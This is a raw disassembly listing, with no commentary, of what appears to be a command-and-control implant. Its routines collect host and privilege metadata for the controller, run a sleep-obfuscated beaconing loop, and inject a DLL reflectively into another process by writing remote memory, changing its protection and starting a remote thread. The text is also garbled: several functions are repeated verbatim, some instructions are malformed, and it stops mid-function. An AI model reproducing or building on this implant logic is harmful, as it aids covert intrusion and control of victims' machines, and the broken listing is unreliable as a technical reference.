140010c6fmov [rip+0x1407d], ecx
140010c75mov [rip+0x14082], r8
140010c7cmov [rip+0x14083], r8
140010c83mov [rip+0x1408c], r8
140010c8amov [rip+0x14095], r8
140010c91mov [rip+0x1402a], r8
140010c98mov [rip+0x1403b], r8
140010c9fcall CfgQueryEnforced
140010ca4test eax, eax
140010ca6je 0x140010d95
140010caclea r9, [rip+0x1af08]
140010cb3mov r8l, 546
140010cb9mov rdx, rbx
140010cbcmov rcx, rsi
140010cbfcall printf
140010cc4mov rdx, [rip+0x139e9]
140010ccbmov rcx, [rip+0x13f6c]
140010cd2call CfgAddressAdd
140010cd7mov rdx, [rip+0x13976]
140010cdemov rcx, [rip+0x13f59]
140010ce5call CfgAddressAdd
140010ceamov rdx, [rip+0x1395b]
140010cf1mov rcx, [rip+0x13f46]
140010cf8call CfgAddressAdd
140010cfdmov rdx, [rip+0x13c58]
140010d04mov rcx, [rip+0x13f43]
140010d0bcall CfgAddressAdd
140010d10mov rdx, [rip+0x13d85]
140010d17mov rcx, [rip+0x13f28]
140010d1ecall CfgAddressAdd
140010d23mov rdx, [rip+0x139fa]
140010d2amov rcx, [rip+0x13f15]
140010d31call CfgAddressAdd
140010d36mov rdx, [rip+0x1388f]
140010d3dmov rcx, [rip+0x13efa]
140010d44call CfgAddressAdd
140010d49mov rdx, [rip+0x13924]
140010d50mov rcx, [rip+0x13ee7]
140010d57call CfgAddressAdd
140010d5cmov rdx, [rip+0x13909]
140010d63mov rcx, [rip+0x13ed4]
140010d6acall CfgAddressAdd
140010d6fmov rdx, [rip+0x1392e]
140010d76mov rcx, [rip+0x13ec1]
140010d7dcall CfgAddressAdd
140010d82mov rdx, [rip+0x137e3]
140010d89mov rcx, [rip+0x13eae]
140010d90call CfgAddressAdd
140010d95
140010d95loc_140010d95:
140010d95mov r9l, [rip+0x136a8]
140010d9cmov r8l, 566
140010da2mov rdx, rbx
140010da5lea rcx, [rip+0x1ae4a]
140010daccall printf
140010db1
140010db1loc_140010db1:
140010db1add rsp, 424
140010db8pop rbx
140010db9pop rsi
140010dbapop rdi
140010dbbpop rbp
140010dbcpop r12
140010dbepop r13
140010dc0ret
14000fe80
140010dc1
140010dc1 // align 0x10
140010dc1 // align 0x10
140010dd0
140010dd0DemonMain:
140010dd0sub rsp, 40
140010dd4call DemonInit
140010dd9mov edx, 1
140010ddelea rcx, [rip+0x1361b]
140010de5call DemonMetaData
140010deacall DemonRoutine
140010defnop
140010dd0
140010dd0DemonMain:
140010dd0sub rsp, 40
140010dd4call DemonInit
140010dd9mov edx, 1
140010ddelea rcx, [rip+0x1361b]
140010de5call DemonMetaData
140010deacall DemonRoutine
140010defnop
140010dd0
140010df0
140010df0DemonMetaData:
140010df0push r12
140010df2xor eax, eax
140010df4xor r10l, r10l
140010df7push rbp
140010df8push rdi
140010df9push rsi
140010dfapush rbx
140010dfbmov rbx, rcx
140010dfemov ecx, 71
140010e03sub rsp, 320
140010e0atest edx, edx
140010e0clea rdi, [rsp+36]
140010e11mov [rsp+32], r10l
140010e16lea r12, [rsp+36]
140010e1brep stosd [rdi], eax
140010e1dje 0x140010e33
140010e1fmov ecx, 99
140010e24call PackageCreateWithMetaData
140010e29xor r9l, r9l
140010e2cmov [rbx], rax
140010e2fmov [rax+28], r9l
140010e33
140010e33loc_140010e33:
140010e33cmp [rip+0x136e1], 0
140010e3bjne 0x140010ea9
140010e3dcmp [rip+0x136df], 0
140010e45jne 0x140010ea9
140010e47mov edx, 32
140010e4cmov ecx, 64
140010e51xor esi, esi
140010e53call [rip+0x1394b]
140010e59mov edx, 16
140010e5emov ecx, 64
140010e63mov [rip+0x136b2], rax
140010e6acall [rip+0x13934]
140010e70mov [rip+0x136ad], rax
140010e77
140010e77loc_140010e77:
140010e77call RandomNumber32
140010e7cmov rdx, [rip+0x13699]
140010e83mov [rdx+rsi], al
140010e86inc rsi
140010e89cmp rsi, 32
140010e8djne 0x140010e77
140010e8fxor esi, esi
140010e91
140010e91loc_140010e91:
140010e91call RandomNumber32
140010e96mov rdx, [rip+0x13687]
140010e9dmov [rdx+rsi], al
140010ea0inc rsi
140010ea3cmp rsi, 16
140010ea7jne 0x140010e91
140010ea9
140010ea9loc_140010ea9:
140010ea9mov rdx, [rip+0x1366c]
140010eb0mov rcx, [rbx]
140010eb3mov r8l, 32
140010eb9lea rsi, [rsp+32]
140010ebecall PackageAddPad
140010ec3mov rdx, [rip+0x1365a]
140010ecamov rcx, [rbx]
140010ecdmov r8l, 16
140010ed3call PackageAddPad
140010ed8mov edx, [rip+0x13566]
140010edemov rcx, [rbx]
140010ee1call PackageAddInt32
140010ee6xor r8l, r8l
140010ee9xor edx, edx
140010eebxor ecx, ecx
140010eedmov [rsp+32], r8l
140010ef2mov r8, rsi
140010ef5call [rip+0x138a1]
140010efbtest eax, eax
140010efdjne 0x140010f65
140010effmov edx, [rsp+32]
140010f03mov ecx, 64
140010f08call [rip+0x13896]
140010f0emov rbp, rax
140010f11test rax, rax
140010f14je 0x140010f65
140010f16mov rdi, rax
140010f19mov ecx, [rsp+32]
140010f1dxor eax, eax
140010f1frep stosb [rdi], al
140010f21xor ecx, ecx
140010f23mov r8, rsi
140010f26mov rdx, rbp
140010f29call [rip+0x1386d]
140010f2ftest eax, eax
140010f31je 0x140010f45
140010f33mov r8l, [rsp+32]
140010f38mov rcx, [rbx]
140010f3bmov rdx, rbp
140010f3ecall PackageAddBytes
140010f43jmp 0x140010f4f
140010f45
140010f45loc_140010f45:
140010f45mov rcx, [rbx]
140010f48xor edx, edx
140010f4acall PackageAddInt32
140010f4f
140010f4floc_140010f4f:
140010f4fmov ecx, [rsp+32]
140010f53mov rdi, rbp
140010f56xor eax, eax
140010f58rep stosb [rdi], al
140010f5amov rcx, rbp
140010f5dcall [rip+0x13849]
140010f63jmp 0x140010f6f
140010f65
140010f65loc_140010f65:
140010f65mov rcx, [rbx]
140010f68xor edx, edx
140010f6acall PackageAddInt32
140010f6f
140010f6floc_140010f6f:
140010f6fxor ecx, ecx
140010f71mov rdx, rsi
140010f74mov [rsp+32], ecx
140010f78xor ecx, ecx
140010f7acall [rip+0x139c4]
140010f80test eax, eax
140010f82jne 0x140010fe8
140010f84mov edx, [rsp+32]
140010f88mov ecx, 64
140010f8dcall [rip+0x13811]
140010f93mov rbp, rax
140010f96test rax, rax
140010f99je 0x140010fe8
140010f9bmov rdi, rax
140010f9emov ecx, [rsp+32]
140010fa2xor eax, eax
140010fa4rep stosb [rdi], al
140010fa6mov rdx, rsi
140010fa9mov rcx, rbp
140010faccall [rip+0x13992]
140010fb2test eax, eax
140010fb4je 0x140010fc8
140010fb6mov r8l, [rsp+32]
140010fbbmov rcx, [rbx]
140010fbemov rdx, rbp
140010fc1call PackageAddBytes
140010fc6jmp 0x140010fd2
140010fc8
140010fc8loc_140010fc8:
140010fc8mov rcx, [rbx]
140010fcbxor edx, edx
140010fcdcall PackageAddInt32
140010fd2
140010fd2loc_140010fd2:
140010fd2mov ecx, [rsp+32]
140010fd6mov rdi, rbp
140010fd9xor eax, eax
140010fdbrep stosb [rdi], al
140010fddmov rcx, rbp
140010fe0call [rip+0x137c6]
140010fe6jmp 0x140010ff2
140010fe8
140010fe8loc_140010fe8:
140010fe8mov rcx, [rbx]
140010febxor edx, edx
140010fedcall PackageAddInt32
140010ff2
140010ff2loc_140010ff2:
140010ff2xor edx, edx
140010ff4mov r8, rsi
140010ff7mov ecx, 2
140010ffcmov [rsp+32], edx
140011000xor edx, edx
140011002call [rip+0x13794]
140011008test eax, eax
14001100ajne 0x140011075
14001100cmov edx, [rsp+32]
140011010mov ecx, 64
140011015call [rip+0x13789]
14001101bmov rbp, rax
14001101etest rax, rax
140011021je 0x140011075
140011023mov rdi, rax
140011026mov ecx, [rsp+32]
14001102axor eax, eax
14001102crep stosb [rdi], al
14001102emov ecx, 2
140011033mov r8, rsi
140011036mov rdx, rbp
140011039call [rip+0x1375d]
14001103ftest eax, eax
140011041je 0x140011055
140011043mov r8l, [rsp+32]
140011048mov rcx, [rbx]
14001104bmov rdx, rbp
14001104ecall PackageAddBytes
140011053jmp 0x14001105f
140011055
140011055loc_140011055:
140011055mov rcx, [rbx]
140011058xor edx, edx
14001105acall PackageAddInt32
14001105f
14001105floc_14001105f:
14001105fmov ecx, [rsp+32]
140011063mov rdi, rbp
140011066xor eax, eax
140011068rep stosb [rdi], al
14001106amov rcx, rbp
14001106dcall [rip+0x13739]
140011073jmp 0x14001107f
140011075
140011075loc_140011075:
140011075mov rcx, [rbx]
140011078xor edx, edx
14001107acall PackageAddInt32
14001107f
14001107floc_14001107f:
14001107fxor eax, eax
140011081xor ecx, ecx
140011083mov rdx, rsi
140011086mov [rsp+32], eax
14001108acall [rip+0x13a04]
140011090test eax, eax
140011092je 0x1400110ec
140011094mov edx, [rsp+32]
140011098mov ecx, 64
14001109dcall [rip+0x13701]
1400110a3mov rbp, rax
1400110a6test rax, rax
1400110a9je 0x1400110ec
1400110abmov rdx, rsi
1400110aemov rcx, rax
1400110b1call [rip+0x139dd]
1400110b7test eax, eax
1400110b9jne 0x1400110cc
1400110bbmov rcx, [rbx]
1400110belea rdx, [rbp+448]
1400110c5call PackageAddString
1400110cajmp 0x1400110d6
1400110cc
1400110ccloc_1400110cc:
1400110ccmov rcx, [rbx]
1400110cfxor edx, edx
1400110d1call PackageAddInt32
1400110d6
1400110d6loc_1400110d6:
1400110d6mov ecx, [rsp+32]
1400110damov rdi, rbp
1400110ddxor eax, eax
1400110dfrep stosb [rdi], al
1400110e1mov rcx, rbp
1400110e4call [rip+0x136c2]
1400110eajmp 0x1400110f6
1400110ec
1400110ecloc_1400110ec:
1400110ecmov rcx, [rbx]
1400110efxor edx, edx
1400110f1call PackageAddInt32
1400110f6
1400110f6loc_1400110f6:
1400110f6mov rax, [rip+0x13bb9]
1400110fdmov rcx, [rbx]
140011100mov rdi, r12
140011103mov rax, [rax+96]
140011107mov rax, [rax+32]
14001110bmov rdx, [rax+104]
14001110fcall PackageAddWString
140011114mov rax, [rip+0x13b9b]
14001111bmov rcx, [rbx]
14001111emov edx, [rax+64]
140011121call PackageAddInt32
140011126mov rax, [rip+0x13b89]
14001112dmov rcx, [rbx]
140011130mov edx, [rax+72]
140011133call PackageAddInt32
140011138mov rcx, [rbx]
14001113bmov edx, [rip+0x13313]
140011141call PackageAddInt32
140011146mov rcx, [rbx]
140011149mov edx, 2
14001114ecall PackageAddInt32
140011153call BeaconIsAdmin
140011158mov rcx, [rbx]
14001115bmov edx, eax
14001115dcall PackageAddInt32
140011162mov rcx, [rbx]
140011165mov rdx, [rip+0x132c0]
14001116ccall PackageAddInt64
140011171mov ecx, 284
140011176xor eax, eax
140011178rep stosb [rdi], al
14001117amov rcx, r12
14001117dmov [rsp+36], 284
140011185call [rip+0x133d9]
14001118bmov edx, [rsp+40]
14001118fmov rcx, [rbx]
140011192call PackageAddInt32
140011197mov edx, [rsp+44]
14001119bmov rcx, [rbx]
14001119ecall PackageAddInt32
1400111a3movzx edx, [rsp+318]
1400111abmov rcx, [rbx]
1400111aecall PackageAddInt32
1400111b3movzx edx, [rsp+312]
1400111bbmov rcx, [rbx]
1400111becall PackageAddInt32
1400111c3mov edx, [rsp+48]
1400111c7mov rcx, [rbx]
1400111cacall PackageAddInt32
1400111cfmov rcx, [rbx]
1400111d2movzx edx, [rip+0x1327f]
1400111d9call PackageAddInt32
1400111demov rcx, [rbx]
1400111e1mov edx, [rip+0x13279]
1400111e7call PackageAddInt32
1400111ecmov rcx, [rbx]
1400111efmov edx, [rip+0x1326f]
1400111f5call PackageAddInt32
1400111famov rcx, [rbx]
1400111fdmov rdx, [rip+0x13278]
140011204call PackageAddInt64
140011209mov rcx, [rbx]
14001120cmov edx, [rip+0x13272]
140011212call PackageAddInt32
140011217add rsp, 320
14001121epop rbx
14001121fpop rsi
140011220pop rdi
140011221pop rbp
140011222pop r12
140011224ret
140010df0
140010df0DemonMetaData:
140010df0push r12
140010df2xor eax, eax
140010df4xor r10l, r10l
140010df7push rbp
140010df8push rdi
140010df9push rsi
140010dfapush rbx
140010dfbmov rbx, rcx
140010dfemov ecx, 71
140010e03sub rsp, 320
140010e0atest edx, edx
140010e0clea rdi, [rsp+36]
140010e11mov [rsp+32], r10l
140010e16lea r12, [rsp+36]
140010e1brep stosd [rdi], eax
140010e1dje 0x140010e33
140010e1fmov ecx, 99
140010e24call PackageCreateWithMetaData
140010e29xor r9l, r9l
140010e2cmov [rbx], rax
140010e2fmov [rax+28], r9l
140010e33
140010e33loc_140010e33:
140010e33cmp [rip+0x136e1], 0
140010e3bjne 0x140010ea9
140010e3dcmp [rip+0x136df], 0
140010e45jne 0x140010ea9
140010e47mov edx, 32
140010e4cmov ecx, 64
140010e51xor esi, esi
140010e53call [rip+0x1394b]
140010e59mov edx, 16
140010e5emov ecx, 64
140010e63mov [rip+0x136b2], rax
140010e6acall [rip+0x13934]
140010e70mov [rip+0x136ad], rax
140010e77
140010e77loc_140010e77:
140010e77call RandomNumber32
140010e7cmov rdx, [rip+0x13699]
140010e83mov [rdx+rsi], al
140010e86inc rsi
140010e89cmp rsi, 32
140010e8djne 0x140010e77
140010e8fxor esi, esi
140010e91
140010e91loc_140010e91:
140010e91call RandomNumber32
140010e96mov rdx, [rip+0x13687]
140010e9dmov [rdx+rsi], al
140010ea0inc rsi
140010ea3cmp rsi, 16
140010ea7jne 0x140010e91
140010ea9
140010ea9loc_140010ea9:
140010ea9mov rdx, [rip+0x1366c]
140010eb0mov rcx, [rbx]
140010eb3mov r8l, 32
140010eb9lea rsi, [rsp+32]
140010ebecall PackageAddPad
140010ec3mov rdx, [rip+0x1365a]
140010ecamov rcx, [rbx]
140010ecdmov r8l, 16
140010ed3call PackageAddPad
140010ed8mov edx, [rip+0x13566]
140010edemov rcx, [rbx]
140010ee1call PackageAddInt32
140010ee6xor r8l, r8l
140010ee9xor edx, edx
140010eebxor ecx, ecx
140010eedmov [rsp+32], r8l
140010ef2mov r8, rsi
140010ef5call [rip+0x138a1]
140010efbtest eax, eax
140010efdjne 0x140010f65
140010effmov edx, [rsp+32]
140010f03mov ecx, 64
140010f08call [rip+0x13896]
140010f0emov rbp, rax
140010f11test rax, rax
140010f14je 0x140010f65
140010f16mov rdi, rax
140010f19mov ecx, [rsp+32]
140010f1dxor eax, eax
140010f1frep stosb [rdi], al
140010f21xor ecx, ecx
140010f23mov r8, rsi
140010f26mov rdx, rbp
140010f29call [rip+0x1386d]
140010f2ftest eax, eax
140010f31je 0x140010f45
140010f33mov r8l, [rsp+32]
140010f38mov rcx, [rbx]
140010f3bmov rdx, rbp
140010f3ecall PackageAddBytes
140010f43jmp 0x140010f4f
140010f45
140010f45loc_140010f45:
140010f45mov rcx, [rbx]
140010f48xor edx, edx
140010f4acall PackageAddInt32
140010f4f
140010f4floc_140010f4f:
140010f4fmov ecx, [rsp+32]
140010f53mov rdi, rbp
140010f56xor eax, eax
140010f58rep stosb [rdi], al
140010f5amov rcx, rbp
140010f5dcall [rip+0x13849]
140010f63jmp 0x140010f6f
140010f65
140010f65loc_140010f65:
140010f65mov rcx, [rbx]
140010f68xor edx, edx
140010f6acall PackageAddInt32
140010f6f
140010f6floc_140010f6f:
140010f6fxor ecx, ecx
140010f71mov rdx, rsi
140010f74mov [rsp+32], ecx
140010f78xor ecx, ecx
140010f7acall [rip+0x139c4]
140010f80test eax, eax
140010f82jne 0x140010fe8
140010f84mov edx, [rsp+32]
140010f88mov ecx, 64
140010f8dcall [rip+0x13811]
140010f93mov rbp, rax
140010f96test rax, rax
140010f99je 0x140010fe8
140010f9bmov rdi, rax
140010f9emov ecx, [rsp+32]
140010fa2xor eax, eax
140010fa4rep stosb [rdi], al
140010fa6mov rdx, rsi
140010fa9mov rcx, rbp
140010faccall [rip+0x13992]
140010fb2test eax, eax
140010fb4je 0x140010fc8
140010fb6mov r8l, [rsp+32]
140010fbbmov rcx, [rbx]
140010fbemov rdx, rbp
140010fc1call PackageAddBytes
140010fc6jmp 0x140010fd2
140010fc8
140010fc8loc_140010fc8:
140010fc8mov rcx, [rbx]
140010fcbxor edx, edx
140010fcdcall PackageAddInt32
140010fd2
140010fd2loc_140010fd2:
140010fd2mov ecx, [rsp+32]
140010fd6mov rdi, rbp
140010fd9xor eax, eax
140010fdbrep stosb [rdi], al
140010fddmov rcx, rbp
140010fe0call [rip+0x137c6]
140010fe6jmp 0x140010ff2
140010fe8
140010fe8loc_140010fe8:
140010fe8mov rcx, [rbx]
140010febxor edx, edx
140010fedcall PackageAddInt32
140010ff2
140010ff2loc_140010ff2:
140010ff2xor edx, edx
140010ff4mov r8, rsi
140010ff7mov ecx, 2
140010ffcmov [rsp+32], edx
140011000xor edx, edx
140011002call [rip+0x13794]
140011008test eax, eax
14001100ajne 0x140011075
14001100cmov edx, [rsp+32]
140011010mov ecx, 64
140011015call [rip+0x13789]
14001101bmov rbp, rax
14001101etest rax, rax
140011021je 0x140011075
140011023mov rdi, rax
140011026mov ecx, [rsp+32]
14001102axor eax, eax
14001102crep stosb [rdi], al
14001102emov ecx, 2
140011033mov r8, rsi
140011036mov rdx, rbp
140011039call [rip+0x1375d]
14001103ftest eax, eax
140011041je 0x140011055
140011043mov r8l, [rsp+32]
140011048mov rcx, [rbx]
14001104bmov rdx, rbp
14001104ecall PackageAddBytes
140011053jmp 0x14001105f
140011055
140011055loc_140011055:
140011055mov rcx, [rbx]
140011058xor edx, edx
14001105acall PackageAddInt32
14001105f
14001105floc_14001105f:
14001105fmov ecx, [rsp+32]
140011063mov rdi, rbp
140011066xor eax, eax
140011068rep stosb [rdi], al
14001106amov rcx, rbp
14001106dcall [rip+0x13739]
140011073jmp 0x14001107f
140011075
140011075loc_140011075:
140011075mov rcx, [rbx]
140011078xor edx, edx
14001107acall PackageAddInt32
14001107f
14001107floc_14001107f:
14001107fxor eax, eax
140011081xor ecx, ecx
140011083mov rdx, rsi
140011086mov [rsp+32], eax
14001108acall [rip+0x13a04]
140011090test eax, eax
140011092je 0x1400110ec
140011094mov edx, [rsp+32]
140011098mov ecx, 64
14001109dcall [rip+0x13701]
1400110a3mov rbp, rax
1400110a6test rax, rax
1400110a9je 0x1400110ec
1400110abmov rdx, rsi
1400110aemov rcx, rax
1400110b1call [rip+0x139dd]
1400110b7test eax, eax
1400110b9jne 0x1400110cc
1400110bbmov rcx, [rbx]
1400110belea rdx, [rbp+448]
1400110c5call PackageAddString
1400110cajmp 0x1400110d6
1400110cc
1400110ccloc_1400110cc:
1400110ccmov rcx, [rbx]
1400110cfxor edx, edx
1400110d1call PackageAddInt32
1400110d6
1400110d6loc_1400110d6:
1400110d6mov ecx, [rsp+32]
1400110damov rdi, rbp
1400110ddxor eax, eax
1400110dfrep stosb [rdi], al
1400110e1mov rcx, rbp
1400110e4call [rip+0x136c2]
1400110eajmp 0x1400110f6
1400110ec
1400110ecloc_1400110ec:
1400110ecmov rcx, [rbx]
1400110efxor edx, edx
1400110f1call PackageAddInt32
1400110f6
1400110f6loc_1400110f6:
1400110f6mov rax, [rip+0x13bb9]
1400110fdmov rcx, [rbx]
140011100mov rdi, r12
140011103mov rax, [rax+96]
140011107mov rax, [rax+32]
14001110bmov rdx, [rax+104]
14001110fcall PackageAddWString
140011114mov rax, [rip+0x13b9b]
14001111bmov rcx, [rbx]
14001111emov edx, [rax+64]
140011121call PackageAddInt32
140011126mov rax, [rip+0x13b89]
14001112dmov rcx, [rbx]
140011130mov edx, [rax+72]
140011133call PackageAddInt32
140011138mov rcx, [rbx]
14001113bmov edx, [rip+0x13313]
140011141call PackageAddInt32
140011146mov rcx, [rbx]
140011149mov edx, 2
14001114ecall PackageAddInt32
140011153call BeaconIsAdmin
140011158mov rcx, [rbx]
14001115bmov edx, eax
14001115dcall PackageAddInt32
140011162mov rcx, [rbx]
140011165mov rdx, [rip+0x132c0]
14001116ccall PackageAddInt64
140011171mov ecx, 284
140011176xor eax, eax
140011178rep stosb [rdi], al
14001117amov rcx, r12
14001117dmov [rsp+36], 284
140011185call [rip+0x133d9]
14001118bmov edx, [rsp+40]
14001118fmov rcx, [rbx]
140011192call PackageAddInt32
140011197mov edx, [rsp+44]
14001119bmov rcx, [rbx]
14001119ecall PackageAddInt32
1400111a3movzx edx, [rsp+318]
1400111abmov rcx, [rbx]
1400111aecall PackageAddInt32
1400111b3movzx edx, [rsp+312]
1400111bbmov rcx, [rbx]
1400111becall PackageAddInt32
1400111c3mov edx, [rsp+48]
1400111c7mov rcx, [rbx]
1400111cacall PackageAddInt32
1400111cfmov rcx, [rbx]
1400111d2movzx edx, [rip+0x1327f]
1400111d9call PackageAddInt32
1400111demov rcx, [rbx]
1400111e1mov edx, [rip+0x13279]
1400111e7call PackageAddInt32
1400111ecmov rcx, [rbx]
1400111efmov edx, [rip+0x1326f]
1400111f5call PackageAddInt32
1400111famov rcx, [rbx]
1400111fdmov rdx, [rip+0x13278]
140011204call PackageAddInt64
140011209mov rcx, [rbx]
14001120cmov edx, [rip+0x13272]
140011212call PackageAddInt32
140011217add rsp, 320
14001121epop rbx
14001121fpop rsi
140011220pop rdi
140011221pop rbp
140011222pop r12
140011224ret
140010df0
140011225
140011225 // align 0x10
140011225 // align 0x10
140011230
140011230DemonRoutine:
140011230sub rsp, 40
140011234
140011234loc_140011234:
140011234cmp [rip+0x1320d], 0
14001123bje 0x140011244
14001123d
14001123dloc_14001123d:
14001123dcall CommandDispatcher
140011242jmp 0x140011262
140011244
140011244loc_140011244:
140011244call TransportInit
140011249test eax, eax
14001124bje 0x140011259
14001124dmov rax, [rip+0x13214]
140011254xor edx, edx
140011256mov [rax+12], edx
140011259
140011259loc_140011259:
140011259cmp [rip+0x131e8], 0
140011260jne 0x14001123d
140011262
140011262loc_140011262:
140011262call SleepObf
140011267jmp 0x140011234
140011230
140011230DemonRoutine:
140011230sub rsp, 40
140011234
140011234loc_140011234:
140011234cmp [rip+0x1320d], 0
14001123bje 0x140011244
14001123d
14001123dloc_14001123d:
14001123dcall CommandDispatcher
140011242jmp 0x140011262
140011244
140011244loc_140011244:
140011244call TransportInit
140011249test eax, eax
14001124bje 0x140011259
14001124dmov rax, [rip+0x13214]
140011254xor edx, edx
140011256mov [rax+12], edx
140011259
140011259loc_140011259:
140011259cmp [rip+0x131e8], 0
140011260jne 0x14001123d
140011262
140011262loc_140011262:
140011262call SleepObf
140011267jmp 0x140011234
140011230
140011269
140011269 // align 0x10
140011269 // align 0x10
140011270
140011270DllInjectReflective:
140011270push r15
140011272push r14
140011274push r13
140011276push r12
140011278mov r12l, r8l
14001127bmov r8l, 174
140011281push rbp
140011282mov rbp, r9
140011285push rdi
140011286lea rdi, [rip+0x19805]
14001128dpush rsi
14001128emov rsi, rdx
140011291lea rdx, [rip+0x1b698]
140011298push rbx
140011299sub rsp, 88
14001129dmov ebx, [rsp+192]
1400112a4mov rax, [rsp+216]
1400112acmov [rsp+32], r9
1400112b1mov r9, rcx
1400112b4mov [rsp+160], rcx
1400112bclea rcx, [rip+0x19b40]
1400112c3mov [rsp+48], rax
1400112c8mov [rsp+40], ebx
1400112cccall printf
1400112d1mov rax, [rip+0x1b098]
1400112d8xor ecx, ecx
1400112datest rbp, rbp
1400112ddmov [rsp+72], rcx
1400112e2mov r13w, [rax+88]
1400112e7sete al
1400112eatest ebx, ebx
1400112ecsete dl
1400112efor al, dl
1400112f1jne 0x1400112fe
1400112f3cmp [rsp+160], 0
1400112fcjne 0x140011323
1400112fe
1400112feloc_1400112fe:
1400112felea r9, [rip+0x19b35]
140011305mov r8l, 192
14001130bmov rcx, rdi
14001130eor r12l, -1
140011312lea rdx, [rip+0x1b617]
140011319call printf
14001131ejmp 0x1400117a3
140011323
140011323loc_140011323:
140011323mov rcx, [rsp+160]
14001132bcall ProcessIsWow
140011330mov rcx, rbp
140011333test eax, eax
140011335je 0x14001136a
140011337call GetPeArch
14001133cxor r13l, r13l
14001133fdec eax
140011341je 0x1400113a9
140011343lea r9, [rip+0x19aff]
14001134amov r8l, 202
140011350lea rdx, [rip+0x1b5d9]
140011357mov rcx, rdi
14001135acall printf
14001135fmov r12l, 4097
140011365jmp 0x1400117a3
14001136a
14001136aloc_14001136a:
14001136acall GetPeArch
14001136fcmp eax, 2
140011372jne 0x140011382
140011374test r13w, r13w
140011378setne r13b
14001137cmovzx r13l, r13b
140011380jmp 0x1400113a9
140011382
140011382loc_140011382:
140011382lea r9, [rip+0x19b01]
140011389mov r8l, 210
14001138flea rdx, [rip+0x1b59a]
140011396mov rcx, rdi
140011399call printf
14001139emov r12l, 4098
1400113a4jmp 0x1400117a3
1400113a9
1400113a9loc_1400113a9:
1400113a9mov rcx, rbp
1400113accall GetReflectiveLoaderOffset
1400113b1mov r15l, eax
1400113b4test r15l, r15l
1400113b7je 0x1400113dc
1400113b9mov rcx, rdi
1400113bclea r9, [rip+0x19b08]
1400113c3mov r8l, 216
1400113c9mov edi, 1
1400113celea rdx, [rip+0x1b55b]
1400113d5call printf
1400113dajmp 0x14001142c
1400113dc
1400113dcloc_1400113dc:
1400113dclea r9, [rip+0x19b18]
1400113e3mov r8l, 221
1400113e9lea rdx, [rip+0x1b540]
1400113f0lea rcx, [rip+0x1969b]
1400113f7call printf
1400113fcmov rax, [rip+0x1af6d]
140011403lea edx, [rbx+r12]
140011407mov ecx, 64
14001140cmov r14, rdx
14001140fcall [rax+932]
140011415mov ecx, r12l
140011418mov rdi, rax
14001141brep movsb [rdi], [rsi]
14001141dmov ecx, ebx
14001141fmov rsi, rbp
140011422mov ebx, r14l
140011425mov rbp, rax
140011428rep movsb [rdi], [rsi]
14001142axor edi, edi
14001142c
14001142cloc_14001142c:
14001142cmov r9l, r15l
14001142fmov r8l, 229
140011435lea rdx, [rip+0x1b4f4]
14001143clea rcx, [rip+0x19af9]
140011443call printf
140011448mov rax, [rsp+200]
140011450mov r9, [rsp+208]
140011458mov r8l, 232
14001145elea rdx, [rip+0x1b4cb]
140011465lea rcx, [rip+0x19b00]
14001146cmov [rsp+32], rax
140011471call printf
140011476cmp [rsp+208], 0
14001147fje 0x14001157f
140011485mov r8, [rsp+208]
14001148dmov rdx, [rsp+160]
140011495mov r9l, 4
14001149bxor ecx, ecx
14001149dcall MemoryAlloc
1400114a2mov rsi, rax
1400114a5test rax, rax
1400114a8je 0x14001153b
1400114aemov r9, rax
1400114b1mov r8l, 238
1400114b7lea rdx, [rip+0x1b472]
1400114belea rcx, [rip+0x19ad7]
1400114c5call printf
1400114calea rax, [rsp+72]
1400114cfmov rdx, rsi
1400114d2mov rcx, [rsp+160]
1400114damov [rsp+32], rax
1400114dfmov r9, [rsp+208]
1400114e7mov r8, [rsp+200]
1400114efcall SysNtWriteVirtualMemory
1400114f4lea rcx, [rip+0x19597]
1400114fbtest eax, eax
1400114fdmov r12l, eax
140011500jns 0x140011520
140011502lea r9, [rip+0x19ae3]
140011509mov r8l, 242
14001150flea rdx, [rip+0x1b41a]
140011516call printf
14001151bjmp 0x140011727
140011520
140011520loc_140011520:
140011520lea r9, [rip+0x19b01]
140011527mov r8l, 248
14001152dlea rdx, [rip+0x1b3fc]
140011534call printf
140011539jmp 0x140011581
14001153b
14001153bloc_14001153b:
14001153blea rdx, [rip+0x1b3ee]
140011542lea r9, [rip+0x19b12]
140011549mov r8l, 252
14001154flea rcx, [rip+0x1953c]
140011556call printf
14001155bmov rax, [rip+0x1ae0e]
140011562xor ecx, ecx
140011564call [rax+348]
14001156amov edx, eax
14001156c
14001156cloc_14001156c:
14001156cmov ecx, 1
140011571call PackageTransmitError
140011576
140011576loc_140011576:
140011576or r12l, -1
14001157ajmp 0x140011775
14001157f
14001157floc_14001157f:
14001157fxor esi, esi
140011581
140011581loc_140011581:
140011581mov rdx, [rsp+160]
140011589mov r12l, ebx
14001158cmov r9l, 4
140011592xor ecx, ecx
140011594mov r8, r12
140011597call MemoryAlloc
14001159cmov r14, rax
14001159ftest rax, rax
1400115a2je 0x140011745
1400115a8lea r9, [rip+0x19aee]
1400115afmov r8l, 263
1400115b5lea rdx, [rip+0x1b374]
1400115bclea rcx, [rip+0x194cf]
1400115c3call printf
1400115c8lea rax, [rsp+72]
1400115cdmov r9, r12
1400115d0mov r8, rbp
1400115d3mov [rsp+32], rax
1400115d8mov rcx, [rsp+160]
1400115e0mov rdx, r14
1400115e3call SysNtWriteVirtualMemory
1400115e8mov r12l, eax
1400115ebtest eax, eax
1400115edjs 0x14001170b
1400115f3mov r9, r14
1400115f6mov r8l, 267
1400115fclea rdx, [rip+0x1b32d]
140011603lea rcx, [rip+0x19ab8]
14001160acall printf
14001160fxor edx, edx
140011611mov r8, r14
140011614mov r9l, 16384
14001161amov [rsp+32], 32
140011622and r8, -8192
140011629mov ecx, 2
14001162emov [rsp+72], rdx
140011633mov rdx, [rsp+160]
14001163bcall MemoryProtect
140011640test eax, eax
140011642je 0x1400116d5
140011648mov rax, [rsp+216]
140011650mov r9, rsi
140011653mov r8l, 278
140011659lea rdx, [rip+0x1b2d0]
140011660lea rcx, [rip+0x19a97]
140011667xor r12l, r12l
14001166amov [rax+34], rsi
14001166ecall printf
140011673xor eax, eax
140011675mov [rsp+32], rsi
14001167alea r9, [r14+r15]
14001167emov [rsp+40], rax
140011683mov rdx, [rsp+160]
14001168bmov r8l, r13l
14001168emov ecx, 2
140011693call ThreadCreate
140011698test rax, rax
14001169bjne 0x140011775
1400116a1mov rsi, [rip+0x1acc8]
1400116a8mov r8l, 282
1400116aelea rdx, [rip+0x1b27b]
1400116b5lea rcx, [rip+0x19a66]
1400116bcmov rax, [rsi+2230]
1400116c3mov r9l, [rax+104]
1400116c7call printf
1400116ccmov rax, [rsi+2230]
1400116d3jmp 0x140011703
1400116d5
1400116d5loc_1400116d5:
